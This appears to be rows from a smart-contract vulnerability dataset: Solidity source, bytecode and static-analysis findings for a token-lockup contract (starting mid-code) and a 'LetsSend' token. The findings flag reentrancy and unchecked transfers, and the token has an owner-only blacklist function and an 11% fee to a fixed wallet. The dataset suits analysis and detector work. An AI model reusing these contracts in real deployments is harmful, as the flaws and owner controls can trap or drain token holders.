uint256 day, uint256 amount); modifier unlockCheck() { if(currentUnlockToken == 0) { require( balanceOf() >= totalLockedToken, "The project party is requested to transfer enough tokens to start the lock up contract" ); } require(msg.sender == unlockAddress, "You do not have permission to unlock"); _; } constructor(address _token) public { token = IERC20(_token); uint256 _decimals = token.decimals(); totalLockedToken = (10 ** _decimals).mul(225_000_000); // total 225,000,000 PHCR Tokens beforeUnlockingToken = totalLockedToken.mul(1000).div(10000); // 10% token, 1 m afterUnlockingToken = totalLockedToken.mul(818).div(10000); // 8.18% token, 11 m } function blockTimestamp() public virtual view returns(uint256) { return block.timestamp; } function getUnlockedTimes() public view returns(uint256) { uint256 allTimes; for(uint i = 0; i < LockedDateList.length; i++) { if(blockTimestamp() >= LockedDateList[i]) { allTimes++; } } return allTimes; } function balanceOf() public view returns(uint256) { return token.balanceOf(address(this)); } function managerBalanceOf() public view returns(uint256) { return token.balanceOf(unlockAddress); } function monthUnlock() public unlockCheck { require(balanceOf() > 0, "There is no balance to unlock and withdraw"); uint256 unlockTime = getUnlockedTimes(); uint256 unlockToken; if(unlockTime >= maxUnlockingTimes) { unlockToken = balanceOf(); lastUnlockTime = maxUnlockingTimes; } else { require(unlockTime > lastUnlockTime, "No current extractable times"); uint256 allowMaxCount = unlockTime.sub(lastUnlockTime); if(beforeUnlockingTimes > 0) { if(beforeUnlockingTimes > allowMaxCount) { beforeUnlockingTimes = beforeUnlockingTimes.sub(allowMaxCount); unlockToken = unlockToken.add(allowMaxCount.mul(beforeUnlockingToken)); allowMaxCount = 0; } else { allowMaxCount = allowMaxCount.sub(beforeUnlockingTimes); unlockToken = unlockToken.add(beforeUnlockingTimes.mul(beforeUnlockingToken)); beforeUnlockingTimes = 0; } } if(allowMaxCount > 0) { unlockToken = unlockToken.add(allowMaxCount.mul(afterUnlockingToken)); afterUnlockingTimes = afterUnlockingTimes.sub(allowMaxCount); } lastUnlockTime = unlockTime; } currentUnlockToken = currentUnlockToken.add(unlockToken); _safeTransfer(unlockToken); emit MonthUnlock(unlockAddress, unlockTime, unlockToken); } function _safeTransfer(uint256 unlockToken) private { require(balanceOf() >= unlockToken, "Insufficient available balance for transfer"); token.transfer(unlockAddress, unlockToken); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063b30929cd11610097578063ebfda9bb11610066578063ebfda9bb146101aa578063ef398d99146101b2578063efb76eec146101ba578063fc0c546a146101c257610100565b8063b30929cd14610159578063c1cb359c1461017d578063cc85b2cd1461019a578063d1dbaa93146101a257610100565b80637e770716116100d35780637e77071614610137578063a4ecfa8314610141578063a5c38b3d14610149578063adb618321461015157610100565b806309f0a7d4146101055780630da635221461011f578063496ec7ec14610127578063722713f71461012f575b600080fd5b61010d6101ca565b60408051918252519081900360200190f35b61010d6101d0565b61010d6101d6565b61010d6101dc565b61013f610259565b005b61010d6104eb565b61010d6104f1565b61010d6104f7565b6101616104fb565b604080516001600160a01b039092168252519081900360200190f35b61010d6004803603602081101561019357600080fd5b503561050a565b61010d61051e565b61010d61056f565b61010d6105af565b61010d6105b5565b61010d6105bb565b6101616105c1565b60145481565b600d5481565b60155481565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561022857600080fd5b505afa15801561023c573d6000803e3d6000fd5b505050506040513d602081101561025257600080fd5b5051905090565b600f546102a857600d5461026b6101dc565b10156102a85760405162461bcd60e51b81526004018080602001828103825260568152602001806109546056913960600191505060405180910390fd5b600e546001600160a01b031633146102f15760405162461bcd60e51b81526004018080602001828103825260248152602001806109aa6024913960400191505060405180910390fd5b60006102fb6101dc565b116103375760405162461bcd60e51b815260040180806020018281038252602a815260200180610909602a913960400191505060405180910390fd5b600061034161056f565b905060006011548210610363576103566101dc565b6011546010559050610484565b60105482116103b9576040805162461bcd60e51b815260206004820152601c60248201527f4e6f2063757272656e74206578747261637461626c652074696d657300000000604482015290519081900360640190fd5b60006103d06010548461067490919063ffffffff16565b6012549091501561044b57806012541115610419576012546103f29082610674565b60125560135461040e906104079083906105d0565b83906106b6565b91506000905061044b565b601254610427908290610674565b90506104436104076013546012546105d090919063ffffffff16565b600060125591505b801561047d57610469610407601554836105d090919063ffffffff16565b6014549092506104799082610674565b6014555b5060108290555b600f5461049190826106b6565b600f5561049d81610710565b600e54604080518481526020810184905281516001600160a01b03909316927f7c7715ace9c30bc515813d64c04ff95a9e494bc60bd6f03737dce42cf445bf46929181900390910190a25050565b600f5481565b60105481565b4290565b600e546001600160a01b031681565b600181600c811061051757fe5b0154905081565b60008054600e54604080516370a0823160e01b81526001600160a01b039283166004820152905191909216916370a08231916024808301926020929190829003018186803b15801561022857600080fd5b60008060005b600c8110156105a957600181600c811061058b57fe5b01546105956104f7565b106105a1576001909101905b600101610575565b50905090565b60125481565b60135481565b60115481565b6000546001600160a01b031681565b6000826105df5750600061062c565b828202828482816105ec57fe5b04146106295760405162461bcd60e51b81526004018080602001828103825260218152602001806109336021913960400191505060405180910390fd5b90505b92915050565b600061062983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506107e1565b600061062983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610883565b600082820183811015610629576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b806107196101dc565b10156107565760405162461bcd60e51b815260040180806020018281038252602b8152602001806108de602b913960400191505060405180910390fd5b60008054600e546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b1580156107b257600080fd5b505af11580156107c6573d6000803e3d6000fd5b505050506040513d60208110156107dc57600080fd5b505050565b6000818361086d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561083257818101518382015260200161081a565b50505050905090810190601f16801561085f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161087957fe5b0495945050505050565b600081848411156108d55760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561083257818101518382015260200161081a565b50505090039056fe496e73756666696369656e7420617661696c61626c652062616c616e636520666f72207472616e736665725468657265206973206e6f2062616c616e636520746f20756e6c6f636b20616e64207769746864726177536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775468652070726f6a6563742070617274792069732072657175657374656420746f207472616e7366657220656e6f75676820746f6b656e7320746f20737461727420746865206c6f636b20757020636f6e7472616374596f7520646f206e6f742068617665207065726d697373696f6e20746f20756e6c6f636ba2646970667358221220d81221b33ab3551302a0ce923ef21e705ebda27ad43fe19a6135887d3e22a39064736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
2,563
0xb687831044d6382d7345370eabfcf0a31a95a664
/** Telegram: https://t.me/LetsSend */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LetsSend is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 888888888 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Let's Send"; string private constant _symbol = "LETS-SEND"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x38C57e9E87391B8CBfbbafd6b6dfa8CEf7F6D77c); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 11; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 11; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(1).div(100); _maxWalletSize = _tTotal.mul(3).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610340578063b87f137a14610360578063c3c8cd8014610380578063c9567bf914610395578063dd62ed3e146103aa57600080fd5b806370a082311461029c578063715018a6146102bc578063751039fc146102d15780638da5cb5b146102e657806395d89b411461030e57600080fd5b8063273123b7116100e7578063273123b71461020b578063313ce5671461022b5780635932ead114610247578063677daa57146102675780636fc3eaec1461028757600080fd5b806306fdde031461012f578063095ea7b31461017457806318160ddd146101a45780631b3f71ae146101c957806323b872dd146101eb57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600a81526913195d09dcc814d95b9960b21b60208201525b60405161016b9190611740565b60405180910390f35b34801561018057600080fd5b5061019461018f3660046117ba565b6103f0565b604051901515815260200161016b565b3480156101b057600080fd5b50670c55f7bbee0830005b60405190815260200161016b565b3480156101d557600080fd5b506101e96101e43660046117fc565b610407565b005b3480156101f757600080fd5b506101946102063660046118c1565b6104a6565b34801561021757600080fd5b506101e9610226366004611902565b61050f565b34801561023757600080fd5b506040516009815260200161016b565b34801561025357600080fd5b506101e961026236600461192d565b61055a565b34801561027357600080fd5b506101e961028236600461194a565b6105a2565b34801561029357600080fd5b506101e96105fc565b3480156102a857600080fd5b506101bb6102b7366004611902565b610629565b3480156102c857600080fd5b506101e961064b565b3480156102dd57600080fd5b506101e96106bf565b3480156102f257600080fd5b506000546040516001600160a01b03909116815260200161016b565b34801561031a57600080fd5b5060408051808201909152600981526813115514cb54d1539160ba1b602082015261015e565b34801561034c57600080fd5b5061019461035b3660046117ba565b6106fc565b34801561036c57600080fd5b506101e961037b36600461194a565b610709565b34801561038c57600080fd5b506101e961075d565b3480156103a157600080fd5b506101e9610793565b3480156103b657600080fd5b506101bb6103c5366004611963565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103fd338484610b43565b5060015b92915050565b6000546001600160a01b0316331461043a5760405162461bcd60e51b81526004016104319061199c565b60405180910390fd5b60005b81518110156104a25760016006600084848151811061045e5761045e6119d1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061049a816119fd565b91505061043d565b5050565b60006104b3848484610c67565b610505843361050085604051806060016040528060288152602001611b62602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061106f565b610b43565b5060019392505050565b6000546001600160a01b031633146105395760405162461bcd60e51b81526004016104319061199c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105845760405162461bcd60e51b81526004016104319061199c565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105cc5760405162461bcd60e51b81526004016104319061199c565b600081116105d957600080fd5b6105f660646105f0670c55f7bbee083000846110a9565b9061112f565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061c57600080fd5b4761062681611171565b50565b6001600160a01b038116600090815260026020526040812054610401906111ab565b6000546001600160a01b031633146106755760405162461bcd60e51b81526004016104319061199c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e95760405162461bcd60e51b81526004016104319061199c565b670c55f7bbee083000600f819055601055565b60006103fd338484610c67565b6000546001600160a01b031633146107335760405162461bcd60e51b81526004016104319061199c565b6000811161074057600080fd5b61075760646105f0670c55f7bbee083000846110a9565b60105550565b600c546001600160a01b0316336001600160a01b03161461077d57600080fd5b600061078830610629565b905061062681611228565b6000546001600160a01b031633146107bd5760405162461bcd60e51b81526004016104319061199c565b600e54600160a01b900460ff16156108175760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610431565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108533082670c55f7bbee083000610b43565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610891573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b59190611a18565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610902573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109269190611a18565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610973573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109979190611a18565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109c781610629565b6000806109dc6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a44573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a699190611a35565b5050600e805461ffff60b01b191661010160b01b17905550610a9960646105f0670c55f7bbee08300060016110a9565b600f55610ab460646105f0670c55f7bbee08300060036110a9565b601055600e8054600160a01b60ff60a01b19821617909155600d5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610b1f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a29190611a63565b6001600160a01b038316610ba55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610431565b6001600160a01b038216610c065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610431565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610431565b6001600160a01b038216610d2d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610431565b60008111610d8f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610431565b6000600a55600b8055610daa6000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610dd957506000546001600160a01b03838116911614155b1561105f576001600160a01b03831660009081526006602052604090205460ff16158015610e2057506001600160a01b03821660009081526006602052604090205460ff16155b610e2957600080fd5b600e546001600160a01b038481169116148015610e545750600d546001600160a01b03838116911614155b8015610e7957506001600160a01b03821660009081526005602052604090205460ff16155b8015610e8e5750600e54600160b81b900460ff165b15610f9357600f54811115610ee55760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610431565b60105481610ef284610629565b610efc9190611a80565b1115610f4a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610431565b6001600160a01b0382166000908152600760205260409020544211610f6e57600080fd5b610f7942601e611a80565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610fbe5750600d546001600160a01b03848116911614155b8015610fe357506001600160a01b03831660009081526005602052604090205460ff16155b15610ff2576000600a55600b80555b6000610ffd30610629565b600e54909150600160a81b900460ff161580156110285750600e546001600160a01b03858116911614155b801561103d5750600e54600160b01b900460ff165b1561105d5761104b81611228565b47801561105b5761105b47611171565b505b505b61106a8383836113a2565b505050565b600081848411156110935760405162461bcd60e51b81526004016104319190611740565b5060006110a08486611a98565b95945050505050565b6000826110b857506000610401565b60006110c48385611aaf565b9050826110d18583611ace565b146111285760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610431565b9392505050565b600061112883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113ad565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104a2573d6000803e3d6000fd5b60006008548211156112125760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610431565b600061121c6113db565b9050611128838261112f565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611270576112706119d1565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ed9190611a18565b81600181518110611300576113006119d1565b6001600160a01b039283166020918202929092010152600d546113269130911684610b43565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061135f908590600090869030904290600401611af0565b600060405180830381600087803b15801561137957600080fd5b505af115801561138d573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61106a8383836113fe565b600081836113ce5760405162461bcd60e51b81526004016104319190611740565b5060006110a08486611ace565b60008060006113e86114f5565b90925090506113f7828261112f565b9250505090565b60008060008060008061141087611535565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114429087611592565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461147190866115d4565b6001600160a01b03891660009081526002602052604090205561149381611633565b61149d848361167d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e291815260200190565b60405180910390a3505050505050505050565b6008546000908190670c55f7bbee083000611510828261112f565b82101561152c57505060085492670c55f7bbee08300092509050565b90939092509050565b60008060008060008060008060006115528a600a54600b546116a1565b92509250925060006115626113db565b905060008060006115758e8787876116f0565b919e509c509a509598509396509194505050505091939550919395565b600061112883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061106f565b6000806115e18385611a80565b9050838110156111285760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610431565b600061163d6113db565b9050600061164b83836110a9565b3060009081526002602052604090205490915061166890826115d4565b30600090815260026020526040902055505050565b60085461168a9083611592565b60085560095461169a90826115d4565b6009555050565b60008080806116b560646105f089896110a9565b905060006116c860646105f08a896110a9565b905060006116e0826116da8b86611592565b90611592565b9992985090965090945050505050565b60008080806116ff88866110a9565b9050600061170d88876110a9565b9050600061171b88886110a9565b9050600061172d826116da8686611592565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561176d57858101830151858201604001528201611751565b8181111561177f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461062657600080fd5b80356117b581611795565b919050565b600080604083850312156117cd57600080fd5b82356117d881611795565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561180f57600080fd5b823567ffffffffffffffff8082111561182757600080fd5b818501915085601f83011261183b57600080fd5b81358181111561184d5761184d6117e6565b8060051b604051601f19603f83011681018181108582111715611872576118726117e6565b60405291825284820192508381018501918883111561189057600080fd5b938501935b828510156118b5576118a6856117aa565b84529385019392850192611895565b98975050505050505050565b6000806000606084860312156118d657600080fd5b83356118e181611795565b925060208401356118f181611795565b929592945050506040919091013590565b60006020828403121561191457600080fd5b813561112881611795565b801515811461062657600080fd5b60006020828403121561193f57600080fd5b81356111288161191f565b60006020828403121561195c57600080fd5b5035919050565b6000806040838503121561197657600080fd5b823561198181611795565b9150602083013561199181611795565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611a1157611a116119e7565b5060010190565b600060208284031215611a2a57600080fd5b815161112881611795565b600080600060608486031215611a4a57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a7557600080fd5b81516111288161191f565b60008219821115611a9357611a936119e7565b500190565b600082821015611aaa57611aaa6119e7565b500390565b6000816000190483118215151615611ac957611ac96119e7565b500290565b600082611aeb57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b405784516001600160a01b031683529383019391830191600101611b1b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c1464d6df5375d67bf9810c24317725653f15ba4fe70b3c72c80f8c6855d4f8964736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,564
0xa91142a5ad9565efb673aa8753be3343707b0d67
